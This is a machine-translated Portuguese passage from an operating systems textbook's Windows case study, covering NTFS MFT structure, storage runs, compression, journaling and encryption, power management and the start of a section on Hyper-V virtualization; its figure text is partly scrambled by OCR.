de atributo, valor). O arquivo $AttrDef é onde os atributos são definidos. As informações sobre 
esse arquivo estão no registro MFT 4. Em seguida, vem o diretório raiz, que é um arquivo e pode 
crescer até um comprimento arbitrário. É descrito pelo registro MFT 5. 

O espaço livre no volume é controlado por um bitmap. O próprio bitmap é um arquivo e seus 
atributos e endereços de disco são fornecidos no registro MFT 6. O próximo registro MFT aponta 
para o arquivo do carregador de inicialização. O registro 8 é usado para vincular todos os blocos 
defeituosos para garantir que eles nunca ocorram em um arquivo. O registro 9 contém as 
informações de segurança. O registro 10 é usado para mapeamento de casos. Para as letras 
latinas AZ, o mapeamento de casos é óbvio (pelo menos para pessoas que falam latim). O 
mapeamento de casos para outras línguas, como o grego, o arménio ou o georgiano (o país, não 
o estado), é menos óbvio para os falantes de latim, por isso este ficheiro explica como fazê-lo. Finalmente, o registro 11 é u 


Machine Translated by Google 


SEC. 11.8 O SISTEMA DE ARQUIVOS WINDOWS NT 993 


diretório que contém arquivos diversos para coisas como cotas de disco, identificadores de objetos, pontos de 
nova análise e assim por diante. Os últimos quatro registros MFT estão reservados para futuras 
usar. 
Cada registro MFT consiste em um cabeçalho de registro seguido pelo (cabeçalho de atributo, 
valor) pares. O cabeçalho do registro contém um número mágico usado para verificação de validade, um número 
de sequência atualizado cada vez que o registro é reutilizado para um novo arquivo, um 
contagem de referências ao arquivo, o número real de bytes no registro usado, o 
identificador (índice, número de sequência) do registro base (usado apenas para extensão 
registros) e alguns outros campos diversos. 
O NTFS define 13 atributos que podem aparecer nos registros MFT. Estes estão listados em 
Figura 11-45. Cada cabeçalho de atributo identifica o atributo e fornece o comprimento e 
localização do campo de valor junto com uma variedade de sinalizadores e outras informações. 
Geralmente, os valores dos atributos seguem diretamente seus cabeçalhos de atributos, mas se um valor for muito 
longo para caber no registro MFT, ele pode ser colocado em blocos de disco separados. Tal 
O atributo é considerado um atributo não residente. O atributo data é um óbvio 
candidato. Alguns atributos, como o nome, podem ser repetidos, mas todos os atributos 
devem aparecer em uma ordem fixa no registro MFT. Os cabeçalhos para atributos residentes 


têm 24 bytes de comprimento; aqueles para atributos não residentes são mais longos porque contêm 
informações sobre onde encontrar o atributo no disco. 


Atributo Descrição 
Informações padrão Bits de sinalização, carimbos de data/hora, etc. 

[ Nome do arquivo Nome do arquivo em Unicode; pode ser repetido para o nome do MS-DOS 
Descritor de segurança Obsoleto. As informações de segurança agora estão em $Extend$Secure 
Lista de atributos Localização de registros MFT adicionais, se necessário 
ID do objeto Identificador de arquivo de 64 bits exclusivo para este volume 
Ponto de nova análise Usado para montagem e links simbólicos 
Nome do volume Nome deste volume (usado apenas em $Volume) 
Informações de volume Versão do volume (usada apenas em $Volume) 

Raiz do índice Usado para diretorias 

Alocação de índice Usado para diretórios muito grandes 
Mapa de bits Usado para diretórios muito grandes 
Fluxo de utilitário registrado Controla o registro em $LogFile 

Dados Transmitir dados; pode ser repetido 


Figura 11-45. Os atributos usados nos registros MFT. 


O campo de informações padrão contém o proprietário do arquivo, informações de segurança, 
os carimbos de data e hora necessários para POSIX, a contagem de hard-link, somente leitura e arquivo 
bits e assim por diante. É um campo de comprimento fixo e está sempre presente. O nome do arquivo é um 
sequência Unicode de comprimento variável. Para criar arquivos com nomes que não sejam do MS-DOS 


acessíveis a programas antigos de 16 bits, os arquivos também podem ter um formato curto 8 + 3 MS-DOS 
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nome. Se o nome real do arquivo estiver em conformidade com a regra de nomenclatura do MS-DOS 8 + 3, um 
nome secundário do MS-DOS não será necessário. 

No NT 4.0, as informações de segurança eram colocadas em um atributo, mas no Windows 2000 e 
posteriores, todas as informações de segurança vão para um único arquivo, para que vários arquivos possam 
compartilhar as mesmas descrições de segurança. Isso resulta em economias significativas de espaço na maioria 
dos registros MFT e no sistema de arquivos em geral, porque as informações de segurança para muitos dos 
arquivos pertencentes a cada usuário são idênticas. 

A lista de atributos é necessária caso os atributos não caibam no registro MFT. 

Este atributo informa onde encontrar os registros de extensão. Cada entrada na lista contém um índice de 48 bits 
no MFT informando onde está o registro de extensão e um número de sequência de 16 bits para permitir a 
verificação de que o registro de extensão e os registros base correspondem. 


Os arquivos NTFS têm um ID associado que é semelhante ao número do i-node no UNIX. Os arquivos 


podem ser abertos por ID, mas os IDs atribuídos pelo NTFS nem sempre são úteis quando o ID deve ser 
persistido porque é baseado no registro MFT e pode mudar se o registro do arquivo for movido (por exemplo, se 
o arquivo for restaurado de cópia de segurança). 

O NTFS permite um atributo de ID de objeto separado que pode ser definido em um arquivo e nunca precisa ser 
alterado. Ele pode ser mantido com o arquivo se for copiado para um novo volume. 

O ponto de nova análise informa ao procedimento que analisa o nome do arquivo que ele fez algo especial. 
Este mecanismo é usado para montar explicitamente sistemas de arquivos e para links simbólicos. Os dois 
atributos de volume são usados apenas para identificação de volume. Os próximos três atributos tratam de como 
os diretórios são implementados. 

Os pequenos são apenas listas de arquivos, mas os grandes são implementados usando árvores B+. O atributo 
de fluxo do utilitário registrado é usado pelo sistema de arquivos criptografado. 

Por fim, chegamos ao atributo mais importante de todos: o fluxo de dados (ou, em alguns casos, fluxos). Um 
arquivo NTFS possui um ou mais fluxos de dados associados a ele. É aqui que está a carga útil. O fluxo de 
dados padrão não tem nome (ou seja, dirpath | nome do arquivo::$DATA), mas cada fluxo de dados alternativo 
tem um nome, por exemplo, dirpath | nome do arquivo:streamname:$DATA. 


Para cada fluxo, o nome do fluxo, se presente, vai para este cabeçalho de atributo. Seguindo o cabeçalho 
há uma lista de endereços de disco informando quais blocos o fluxo contém ou, para fluxos de apenas algumas 
centenas de bytes (e há muitos deles), o próprio fluxo. Colocar os dados reais do fluxo no registro MFT é chamado 
de arquivo imediato (Mullender e Tanenbaum, 1984). 


É claro que na maioria das vezes os dados não cabem no registro da MFT, portanto esse atributo geralmente 
é não residente. Vamos agora dar uma olhada em como o NTFS rastreia a localização de atributos não residentes, 
em particular dados. 


Alocação de armazenamento 
O modelo para controlar os blocos do disco é que eles sejam atribuídos em execuções de blocos 


consecutivos, sempre que possível, por razões de eficiência. Por exemplo, se o primeiro bloco lógico de um fluxo 


for colocado no bloco 20 do disco, o sistema tentará 
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difícil colocar o segundo bloco lógico no bloco 21, o terceiro bloco lógico no 22 e assim por diante. Uma 
maneira de conseguir essas execuções é alocar vários blocos de armazenamento em disco por vez, 
quando possível. 

Os blocos em um fluxo são descritos por uma sequência de registros, cada um descrevendo uma 
sequência de blocos logicamente contíguos. Para um fluxo sem buracos, haverá apenas um registro 
desse tipo. Todos os fluxos escritos em ordem do início ao fim pertencem a esta categoria. Para um fluxo 
com um buraco (por exemplo, apenas os blocos 0—49 e os blocos 60-79 são definidos), haverá dois 
registros. Tal fluxo poderia ser produzido escrevendo os primeiros 50 blocos, depois avançando para o 
bloco lógico 60 e escrevendo outros 20 blocos. Quando um buraco é lido, todos os bytes ausentes são 
zeros. Arquivos com furos são chamados de arquivos esparsos. 


Cada registro começa com um cabeçalho que fornece o deslocamento do primeiro bloco do fluxo. 
Em seguida vem o deslocamento do primeiro bloco não coberto pelo registro. No exemplo acima, o 


primeiro registro teria um cabeçalho (0, 50) e forneceria os endereços de disco para esses 50 blocos. O 
segundo teria um cabeçalho (60, 80) e forneceria os endereços de disco para esses 20 blocos. 


Cada cabeçalho de registro é seguido por um ou mais pares, cada um fornecendo um endereço de 
disco e um comprimento de execução. O endereço do disco é o deslocamento do bloco do disco desde 
o início de sua partição; o comprimento da execução é o número de blocos na execução. Quantos pares 
forem necessários podem estar no registro de execução. O uso desse esquema para um fluxo de três 
execuções e nove blocos é ilustrado na Figura 11.46. 


Padrão Cabeçalho do 4 Informações sobre blocos de dados s} 


cabeçalho de informações nome do arquivo Cabeçalho de dados 


Cabeçalho Cabeçalho Corrida #1, Corrida 42, Corrida 43 


do registro 


~ 


Informações VI 
Não utilizado 
Registro padrão 
MTF A 


i 
LEY "n 
y ' 


i 
i 
' 
i 
` 1 
1 
` 
y fo 


es TE E OO 


RED par 


Blocos de números 20-23 64-65 80-82 


Figura 11-46. Um registro MFT para um fluxo de três execuções e nove blocos. 


Nesta figura, temos um registro MFT para um fluxo curto de nove blocos (cabeçalho 0-8). Consiste 
em três execuções de blocos consecutivos no disco. A primeira execução são os blocos 20-23, a 
segunda são os blocos 64-65 e a terceira são os blocos 80-82. Cada uma dessas execuções é registrada 
no registro MFT como um par (endereço de disco, contagem de blocos). Quantas execuções existem 
depende de quão bem o alocador de blocos de disco se saiu ao encontrar execuções de blocos 
consecutivos quando o fluxo foi criado. Para um fluxo de n blocos, o número de execuções pode variar 


de 1an. 


Machine Translated by Google 


996 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


Vários comentários merecem ser feitos aqui. Primeiro, não há limite máximo para o tamanho dos 
fluxos que podem ser representados desta forma. Na ausência de compactação de endereço, cada par 
requer dois números de 64 bits no par, totalizando 16 bytes. 

Contudo, um par pode representar 1 milhão ou mais blocos de disco consecutivos. Na verdade, um fluxo 
de 20 GB que consiste em 20 execuções separadas de 1 milhão de blocos de 1 KB cabem facilmente em 
um registro MFT, enquanto um fluxo de 60 KB espalhado em 60 blocos isolados não. 


Em segundo lugar, embora a forma simples de representar cada par ocupe 2 x 8 bytes, está 
disponível um método de compressão para reduzir o tamanho dos pares para menos de 16. 
Muitos endereços de disco possuem vários bytes zero de alta ordem. Estes podem ser omitidos. 
O cabeçalho dos dados informa quantos são omitidos, ou seja, quantos bytes são realmente utilizados por 
endereço. Outros tipos de compressão também são usados. Na prática, os pares geralmente têm apenas 
4 bytes. 

Nosso primeiro exemplo foi fácil: todas as informações do arquivo cabem em um registro MFT. 
O que acontece se o arquivo for tão grande ou altamente fragmentado que as informações do bloco não 
caibam em um registro MFT? A resposta é simples: use dois ou mais registros MFT. Na Figura 11.47, 
vemos um arquivo cujo registro base está no registro MFT 102. Ele tem muitas execuções para um registro 
MFT, então ele calcula quantos registros de extensão são necessários, digamos, dois, e coloca seus 
índices no registro básico. O restante do registro é usado para as primeiras k execuções de dados. 


108 
T A E 
N 

105 | [Execute gi] 0 [Coram | — Primeiro registro de extensão 
104 
103 


-«t——— Segundo registro de extensão 


102 Į | MFT 105 MFT|108 Execução à ESSE ES | << Registro básico 


101 


Figura 11-47. Um arquivo que requer três registros MFT para armazenar todas as suas execuções. 


Observe que a Figura 11.47 contém alguma redundância. Em teoria, não deveria ser necessário 
especificar o final de uma sequência de execuções porque esta informação pode ser calculada a partir 
dos pares de execuções. A razão para “especificar demais” essas informações é tornar a busca mais 
eficiente: para encontrar o bloco em um determinado deslocamento do arquivo, é necessário examinar 
apenas os cabeçalhos dos registros, não os pares de execução. 

Quando todo o espaço no registo 102 tiver sido utilizado, o armazenamento das corridas continua 
com o registo MFT 105. São embaladas neste registo quantas corridas forem necessárias. Quando esse 
registro também está cheio, o restante das execuções vai para o registro MFT 108. Dessa forma, muitos 
registros MFT podem ser usados para lidar com arquivos grandes fragmentados. 

Surge um problema se forem necessários tantos registros MFT que não haja espaço na MFT base 
para listar todos os seus índices. Há também uma solução para este problema: a 
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A lista de registros MFT de extensão torna-se não residente (isto é, armazenada em outros blocos de disco em vez 
de no registro MFT base). Então ele pode crescer tanto quanto necessário. 

Uma entrada MFT para um diretório pequeno é mostrada na Figura 11.48. O registro contém diversas 
entradas de diretório, cada uma das quais descreve um arquivo ou diretório. 
Cada entrada possui uma estrutura de comprimento fixo seguida por um nome de arquivo de comprimento variável. 
A parte fixa contém o índice da entrada MFT do arquivo, o comprimento do nome do arquivo e uma variedade de 
outros campos e sinalizadores. Procurar uma entrada em um diretório consiste em examinar todos os nomes de 


arquivos por vez. 


Uma entrada de diretório contém o índice MFT do arquivo, o comprimento do nome do 


Padrão Cabeçalho raiz arquivo, o próprio nome do arquivo e vários campos e sinalizadores 
cabeçalho de informações do índice 

Cabeçalho Fd 

do registro An 


Informações 


padrão 


Figura 11-48. O registro MFT para um diretório pequeno. 


Diretórios grandes usam um formato diferente. Em vez de listar os arquivos linearmente, uma árvore B+ é 


usada para possibilitar a pesquisa alfabética e facilitar a inserção de novos nomes no diretório no local apropriado. 


Agora temos informações suficientes para terminar de descrever como ocorre a pesquisa de nome de arquivo 
para um arquivo | ?? \C:\foo\barra. Na Figura 11.20, vimos como o Win32, as chamadas do sistema NT nativo e os 
gerenciadores de objetos e E/S cooperaram para abrir um arquivo enviando uma solicitação de E/S para a pilha de 
dispositivos NTFS para o volume C :. A solicitação de E/S solicita ao NTFS que preencha um objeto de arquivo 
para o nome do caminho restante, lfoo \bar. 

A análise NTFS do caminho lfoolbar começa no diretório raiz de C:, cujos blocos podem ser encontrados na 
entrada 5 do MFT (veja a Fig. 11-44). A string "foo" é procurada no diretório raiz, que retorna o índice no MFT para 
o diretório foo. Este diretório é então pesquisado pela string "bar", que se refere ao registro MFT deste arquivo. O 
NTFS executa verificações de acesso chamando de volta o monitor de referência de segurança e, se as verificações 
de acesso forem aprovadas, ele pesquisa no registro MFT o atributo ::$DATA, que é o fluxo de dados padrão. 


Tendo encontrado a barra de arquivos, o NTFS definirá ponteiros para seus próprios metadados no objeto de 
arquivo transmitido pelo gerenciador de E/S. Os metadados incluem um ponteiro para o registro MFT, informações 
sobre compactação e bloqueios de intervalo, vários detalhes sobre compartilhamento e assim por diante. A maior 
parte desses metadados está em estruturas de dados compartilhadas por todos os objetos de arquivo referentes 
ao arquivo. Alguns campos são específicos apenas para a abertura atual, como se o arquivo deve ser excluído 
quando for fechado. Depois que a abertura for bem-sucedida, o NTFS chama loCompleteRequest para passar o 
IRP de volta à pilha de E/S para os gerenciadores de E/S e de objetos. Por fim, um identificador para o objeto de 
arquivo é colocado na tabela de identificadores do processo atual e o controle é passado de volta ao modo de 


usuário. Sobre 
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chamadas ReadFile subsequentes , um aplicativo pode fornecer o identificador, especificando que 
esse objeto de arquivo para C:lfoolbar deve ser incluído na solicitação de leitura que é transmitida da pilha de 
dispositivos C: para NTFS. 
Além de arquivos e diretórios regulares, o NTFS suporta links físicos no 
Sentido UNIX, e também links simbólicos usando um mecanismo chamado pontos de nova análise. 
O NTFS suporta a marcação de um arquivo ou diretório como um ponto de nova análise e a associação de um bloco 
de dados com ele. Quando o arquivo ou diretório é encontrado durante uma análise de nome de arquivo, 
a operação falha e o bloco de dados é retornado ao gerenciador de objetos. O 
O gerenciador de objetos pode interpretar os dados como representando um nome de caminho alternativo e 
em seguida, atualize a string para analisar e tente novamente a operação de E/S. Este mecanismo é usado 
para suportar links simbólicos e sistemas de arquivos montados, redirecionando a pesquisa para 
uma parte diferente da hierarquia de diretórios ou até mesmo para uma partição diferente. 
Os pontos de nova análise também são usados para marcar arquivos individuais para drivers de filtro do sistema de arquivos. 
Na Figura 11-20, mostramos como os filtros do sistema de arquivos podem ser instalados entre os 
gerenciador e o sistema de arquivos. As solicitações de E/S são concluídas chamando loCom pleteRequest, que 
passa o controle para as rotinas de conclusão que cada driver representa na pilha de dispositivos inserida no IRP 
à medida que a solicitação é feita. A 
O driver que deseja marcar um arquivo associa uma tag de nova análise e então observa solicitações de conclusão 
para operações de abertura de arquivo que falharam porque encontraram uma nova análise 
apontar. A partir do bloco de dados que é repassado com o IRP, o driver pode saber se 
este é um bloco de dados que o próprio driver associou ao arquivo. Se assim for, o 
driver irá parar de processar a conclusão e continuar processando a E/S original 
solicitar. Geralmente, isso envolverá prosseguir com a solicitação aberta, mas há uma 


sinalizador que informa ao NTFS para ignorar o ponto de nova análise e abrir o arquivo. 


Compactação de arquivo 


NTFS oferece suporte à compactação transparente de arquivos. Um arquivo pode ser criado em modo 
compactado, o que significa que o NTFS tenta compactar automaticamente os blocos 
à medida que são gravados no disco e os descompacta automaticamente quando são 
leia de volta. Os processos que leem ou gravam arquivos compactados são completamente inconscientes 
que a compressão e a descompressão estão acontecendo. 

A compactação funciona da seguinte maneira. Quando o NTFS grava um arquivo marcado para compactação 
no disco, ele examina os primeiros 16 blocos (lógicos) do arquivo, independentemente de como 
muitas corridas que ocupam. Em seguida, ele executa um algoritmo de compactação neles. Se os dados 
compactados resultantes puderem ser armazenados em 15 blocos ou menos, eles serão gravados no 
disco, de preferência em uma única execução, se possível. Se os dados compactados ainda ocuparem 16 blocos, 
os 16 blocos são escritos em formato não compactado. Em seguida, os blocos 16-31 são examinados 
para ver se eles podem ser compactados em 15 blocos ou menos e assim por diante. 

A Figura 11-49(a) mostra um arquivo no qual os primeiros 16 blocos foram 
compactado em oito blocos, os segundos 16 blocos não foram compactados e o terceiro 
16 blocos também foram compactados em 50%. As três partes foram escritas como três 
é executado e armazenado no registro MFT. Os blocos "ausentes" são armazenados na MFT 
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entrada com endereço de disco 0, conforme mostrado na Figura 11.49(b). Aqui o cabeçalho (0, 48) é seguido por 
cinco pares, dois para a primeira execução (compactada), um para a execução não compactada. 
execução e dois para a execução final (compactada). 


Arquivo original descompactado 


0 7 18 23º 24 91.4 
iT | [oescomeecago | | | T 
40 55 85 92 


Endereço de disco 30 37 
(a) 


Cabeçalho Cinco execuções (das quais duas vazias) 


—A 


Figura 11-49. (a) Um exemplo de um arquivo de 48 blocos sendo compactado em 32 blocos. 
(b) O registro MFT do arquivo após a compactação. 


Quando o arquivo é lido, o NTFS precisa saber quais execuções estão compactadas e 
quais não são. Ele pode saber com base nos endereços do disco. Um endereço de disco de 0 
indica que é a parte final de 16 blocos compactados. O bloco de disco O pode não ser 
usado para armazenar dados, para evitar ambiguidade. Como o bloco 0 no volume contém o 
setor de inicialização, usá-lo para dados é impossível de qualquer maneira. 

O acesso aleatório a arquivos compactados é realmente possível, mas complicado. Suponha 
que um processo busca o bloco 35 na Figura 11.49. Como o bloco de localização NTFS 
35 em um arquivo compactado? A resposta é que ele precisa ler e descompactar todo o arquivo 
corra primeiro. Então ele sabe onde está o bloco 35 e pode passá-lo para qualquer processo que leia 
isto. A escolha de 16 blocos para a unidade de compressão foi um compromisso. Fazendo isto 
mais curto teria tornado a compressão menos eficaz. Prolongá-lo seria 
tornaram o acesso aleatório mais caro. Devido a esta compensação, geralmente é 


é melhor usar a compactação NTFS em arquivos que não são acessados aleatoriamente. 


Registro no diário 


O NTFS oferece suporte a dois mecanismos para programas detectarem alterações em arquivos e 
diretórios. A primeira é uma operação, NtNotifyChangeDirector yFile, que passa um buffer 
e retorna quando uma alteração é detectada em um diretório ou subárvore de diretório. O resultado 
é que o buffer possui uma lista de registros de alterações. Se for muito pequeno, os registros serão perdidos. 
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O segundo mecanismo é o diário de alterações NTFS. O NTFS mantém uma lista de todos os registros de 
alterações de diretórios e arquivos no volume em um arquivo especial, que os programas podem ler usando 
operações especiais de controle do sistema de arquivos, ou seja, a opção FSCTL QUERY USN JOURNAL para 
a API NtFsControlFile . O arquivo de diário normalmente é muito grande e há pouca probabilidade de que as 
entradas sejam reutilizadas antes de serem examinadas. No entanto, se as entradas do diário forem reutilizadas 
antes que um aplicativo possa examiná-las, o aplicativo só precisará enumerar a árvore de diretórios na qual está 


interessado, para sincronizar com seu estado. Depois disso, ele pode retomar o uso do diário. 


Criptografia de arquivo 


Os computadores são usados hoje em dia para armazenar todos os tipos de dados sensíveis, incluindo 
planos de aquisição de empresas, informações fiscais e cartas de amor, que os proprietários não querem 
especialmente que sejam reveladas a ninguém. A perda de informações pode acontecer quando um notebook é 
perdido ou roubado, um sistema desktop é reinicializado usando um disquete MS DOS para contornar a 
segurança do Windows ou um disco rígido é fisicamente removido de um computador e instalado em outro com 
um sistema operacional inseguro. 

O Windows resolve esses problemas fornecendo uma opção para criptografar arquivos, de forma que 
mesmo no caso de o computador ser roubado ou reinicializado usando o MS-DOS, os arquivos ficarão ilegíveis. 
A maneira normal de usar a criptografia do Windows é marcar determinados diretórios como criptografados, o 
que faz com que todos os arquivos neles contidos sejam criptografados e que novos arquivos movidos para eles 
ou criados neles também sejam criptografados. A criptografia e a descriptografia reais não são gerenciadas pelo 
próprio NTFS, mas por um driver chamado EFS (Encryption File System), que registra retornos de chamada 
com NTFS. 

O EFS fornece criptografia para arquivos e diretórios específicos. Há também outro recurso de criptografia 
no Windows chamado BitLocker , que é executado como um driver de filtro de bloco e criptografa quase todos 
os dados em um volume, o que pode ajudar a proteger os dados de qualquer maneira - desde que o usuário 
aproveite os mecanismos disponíveis para uma segurança forte. chaves. Dado o número de sistemas que são 
perdidos ou roubados o tempo todo e a grande sensibilidade à questão do roubo de identidade, é muito importante 
garantir que os segredos sejam protegidos. Um número incrível de cadernos desaparece todos os dias. As 
principais empresas de Wall Street supostamente perdem em média um notebook por semana apenas nos táxis 
da cidade de Nova York. 


11.9 GERENCIAMENTO DE ENERGIA DO WINDOWS 


O gerenciador de energia supervisiona o uso de energia em todo o sistema. Historicamente, o 
gerenciamento do consumo de energia consistia em desligar a tela do monitor e interromper a rotação das 
unidades de disco. Mas a questão está se tornando rapidamente mais complicada devido aos requisitos para 
estender o tempo de execução dos notebooks. 
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nas baterias e preocupações de conservação de energia relacionadas com o facto de os computadores de secretária 
permanecerem ligados o tempo todo e o elevado custo do fornecimento de energia aos enormes parques de 
servidores que existem hoje. 

Os recursos mais recentes de gerenciamento de energia incluem a redução do consumo de energia dos 
componentes quando o sistema não está em uso, colocando dispositivos individuais em estados de espera ou até 
mesmo desligando-os completamente usando interruptores suaves . 

Os multiprocessadores desligam CPUs individuais quando elas não são necessárias, e até mesmo as taxas de clock 
das CPUs em execução podem ser ajustadas para reduzir o consumo de energia. Quando um processador está 
ocioso, seu consumo de energia também é reduzido, pois ele não precisa fazer nada, exceto esperar que ocorra 
uma interrupção. 

Em sistemas multiprocessadores heterogêneos com vários tipos de processadores, economias significativas 
de energia podem ser alcançadas programando o trabalho apropriado para processadores mais eficientes. O 
gerenciador de energia colabora estreitamente com o escalonador de threads do kernel para influenciar suas políticas 
de escalonamento de qualidade de serviço. Por exemplo, se o sistema estiver com pouca bateria, o gerenciador de 
energia poderá configurar a política de energia de forma que todos os threads de baixa QoS sejam programados 
exclusivamente para núcleos de eficiência. 

O Windows oferece suporte a um modo de desligamento especial chamado hibernação, que copia toda a 
memória física para o disco e depois desliga a máquina, reduzindo o consumo de energia a zero. Como todo o 
estado da memória é gravado no disco, você pode até substituir a bateria de um notebook enquanto ele está em 
hibernação. Quando o sistema retoma após a hibernação, ele restaura o estado de memória salvo (e reinicializa os 
dispositivos de E/S). Isso traz o computador de volta ao mesmo estado em que estava antes da hibernação, sem 
precisar fazer login novamente e iniciar todos os aplicativos e serviços que estavam em execução. O Windows 
otimiza esse processo ignorando páginas não modificadas já suportadas pelo disco e compactando outras páginas 
de memória para reduzir a quantidade de largura de banda de E/S necessária. O algoritmo de hibernação se ajusta 
automaticamente para equilibrar entre E/S e rendimento do processador. Se houver mais processador disponível, 
ele usará compactação cara, mas mais eficaz, para reduzir a largura de banda de E/S necessária. Quando a largura 
de banda de E/S for suficiente, a hibernação ignorará completamente a compactação. Com a geração atual de 
multiprocessadores, tanto a hibernação quanto a retomada podem ser executadas em poucos segundos, mesmo em 


sistemas com muitos gigabytes de RAM. 


Uma alternativa à hibernação é o modo de espera , onde o gerenciador de energia reduz todo o sistema ao 
estado de menor consumo de energia possível, usando apenas energia suficiente para atualizar a RAM dinâmica. 
Como a memória não precisa ser copiada para o disco, isso é um pouco mais rápido que a hibernação em alguns 
sistemas. 

Apesar da disponibilidade de hibernação e espera, muitos usuários ainda têm o hábito de desligar o PC ao 
terminar de trabalhar. O Windows usa a hibernação para executar um pseudo desligamento e inicialização, chamado 
HiberBoot, que é muito mais rápido que o desligamento e inicialização normais. Quando o usuário diz ao sistema 
para desligar, o HiberBoot desconecta o usuário e hiberna o sistema no ponto em que normalmente faria login 
novamente. Mais tarde, quando o usuário ligar o sistema novamente, o Hiber Boot irá reiniciar o sistema no ponto de 


login. Para o usuário parece que a inicialização foi 
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muito, muito rápido porque a maioria das etapas de inicialização do sistema são ignoradas. Claro, às 
vezes o sistema precisa realizar um desligamento real para corrigir um problema ou instalar uma 
atualização no kernel. Se o sistema for solicitado a reinicializar em vez de desligar, o sistema será 
desligado de verdade e executará uma inicialização normal. 

Em telefones e tablets, bem como na mais nova geração de laptops, espera-se que os dispositivos 
de computação estejam sempre ligados, mas que consumam pouca energia. Para proporcionar essa 
experiência, o Windows moderno implementa uma versão especial de gerenciamento de energia 
chamada CS (Connected Standby). CS é possível em sistemas com hardware de rede especial que 
é capaz de escutar o tráfego em um pequeno conjunto de conexões usando muito menos energia do 
que se a CPU estivesse em execução. Um sistema CS sempre parece estar ligado, saindo do CS assim 
que a tela é ligada pelo usuário. O modo de espera conectado é diferente do modo de espera normal 
porque um sistema CS também sairá do modo de espera quando receber um pacote em uma conexão 
monitorada. Assim que a bateria começar a ficar fraca, um sistema CS entrará no estado de hibernação 
para evitar o esgotamento completo da bateria e talvez a perda de dados do usuário. 


Alcançar uma boa duração da bateria requer mais do que apenas desligar o processador com a 
maior frequência possível. Também é importante manter o processador desligado o maior tempo possível. 
O hardware de rede CS permite que os processadores permaneçam desligados até que os dados 
cheguem, mas outros eventos também podem fazer com que os processadores sejam ligados 
novamente. Nos drivers de dispositivos do Windows baseados em NT, os serviços do sistema e os 
próprios aplicativos são frequentemente executados sem nenhum motivo específico, a não ser para 
verificar as coisas. Essa atividade de pesquisa geralmente é baseada na configuração de temporizadores 
para executar código periodicamente no sistema ou aplicativo. A pesquisa baseada em temporizador 
pode produzir uma cacofonia de eventos que ativam o processador. Para evitar isso, o Windows exige 
que os temporizadores especifigquem um parâmetro de imprecisão que permite ao sistema operacional 
unir eventos de temporizador e reduzir o número de ocasiões separadas em que um dos processadores 
terá que ser religado. O Windows também formaliza as condições sob as quais um aplicativo que não 
está em execução ativa pode executar código em segundo plano. Operações como verificação de 
atualizações ou atualização de conteúdo não podem ser realizadas apenas solicitando a execução 
quando um cronômetro expirar. Um aplicativo deve informar ao sistema operacional quando executar 
essas atividades em segundo plano. Por exemplo, a verificação de atualizações pode ocorrer apenas 
uma vez por dia ou na próxima vez que o dispositivo estiver carregando a bateria. Um conjunto de 
corretores do sistema fornece uma variedade de condições que podem ser usadas para limitar quando 
a atividade em segundo plano é executada. Se uma tarefa em segundo plano precisar acessar uma 
rede de baixo custo ou utilizar as credenciais de um usuário, os corretores não executarão a tarefa até 
que as condições necessárias estejam presentes. 

Muitos aplicativos hoje são implementados com código local e serviços na nuvem. O Windows 
fornece WNS (Windows Notification Service), que permite que serviços de terceiros enviem 
notificações por push para um dispositivo Windows em CS sem exigir que o hardware de rede CS 
escute especificamente pacotes de servidores de terceiros. As notificações WNS podem sinalizar 
eventos críticos em termos de tempo, como a chegada de uma mensagem de texto ou uma chamada 
VolP. Quando um pacote WNS chega, o processador terá que ser ligado para processá-lo, mas a 
capacidade do hardware de rede CS 
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discriminar entre o tráfego de conexões diferentes significa que o processador 
não precisa despertar para cada pacote aleatório que chega à interface de rede. 


11.10 VIRTUALIZAÇÃO NO WINDOWS 


No início dos anos 2000, à medida que os computadores se tornavam maiores e mais poderosos, o 
a indústria começou a recorrer à tecnologia de máquinas virtuais para particionar máquinas grandes 
em uma série de máquinas virtuais menores compartilhando o mesmo hardware físico. 
Essa tecnologia foi originalmente usada principalmente em data centers ou ambientes de hospedagem. 
Na década seguinte, no entanto, a atenção se voltou para softwares mais refinados. 
a virtualização e os contêineres entraram na moda. 

Docker Inc. popularizou o uso de contêineres no Linux com seu popular 
Gerenciador de contêineres Docker. A Microsoft adicionou suporte para esses tipos de contêineres 
para Windows no Windows 10 e Windows Server 2016 e parceria com Docker 
Inc. para que os clientes pudessem usar a mesma plataforma de gerenciamento popular no Windows. 
Além disso, o Windows começou a ser fornecido com o hipervisor Microsoft Hyper-V para que o próprio 
sistema operacional pudesse aproveitar a virtualização de hardware para aumentar a segurança. Nesta 
seção, veremos primeiro o Hyper-V e sua implementação de virtualização de hardware. Depois 
estudaremos containers construídos puramente a partir de software e 


descreva alguns dos recursos do sistema operacional que aproveitam os recursos de virtualização de hardware. 
11.10.1 Hiper-V 


Hyper-V é a solução de virtualização da Microsoft para criação e gerenciamento de máquinas 
virtuais. O hipervisor fica na parte inferior da pilha de software Hyper-V e 
fornece a principal funcionalidade de virtualização de hardware. É um Tipo 1 (bare metal) 
hipervisor que roda diretamente sobre o hardware. O hipervisor usa extensões de virtualização suportadas 
pela CPU para virtualizar o hardware de forma que 
vários sistemas operacionais convidados podem ser executados simultaneamente, cada um em sua 
própria máquina virtual isolada, cnamada partição. O hipervisor funciona com o outro Hyper-V 
componentes na pilha de virtualização para fornecer gerenciamento de máquina virtual 
(como inicialização, desligamento, pausa, retomada, migração ao vivo, instantâneos e dispositivos 
apoiar). A pilha de virtualização é executada em uma partição privilegiada especial chamada 
partição raiz. A partição raiz deve estar executando o Windows, mas qualquer sistema operacional 
sistema, como o Linux, pode estar rodando em partições convidadas, também chamadas 
partições filhas. Embora seja possível executar sistemas operacionais convidados que desconhecem 
completamente a virtualização, o desempenho será prejudicado. Hoje em dia, a maioria dos sistemas 
operacionais são projetados para funcionar como convidados e incluem contrapartes convidadas para o sistema. 
componentes da pilha de virtualização raiz que ajudam a fornecer E/S de rede ou disco virtualizado de 
alto desempenho. Uma visão geral dos componentes do Hyper-V é fornecida em 
Figura 11-50. Discutiremos esses componentes nas próximas seções. 
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Figura 11-50. Componentes de virtualização Hyper-V nas partições raiz e filha. 
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Hipervisor 


O hipervisor é uma fina camada de software executada entre o hardware e 
os sistemas operacionais que ele hospeda. É o software mais privilegiado do sistema 
e, portanto, precisa ter uma superfície de ataque mínima. Por esta razão, delega 
tanta funcionalidade quanto possível para a pilha de virtualização em execução na partição raiz. 


A tarefa mais importante do hipervisor é virtualizar os recursos de hardware para seu 
partições: processadores, memória e dispositivos. Cada partição recebe um conjunto de processadores 
virtuais (VPs) e memória física convidada. O hipervisor gerencia esses 
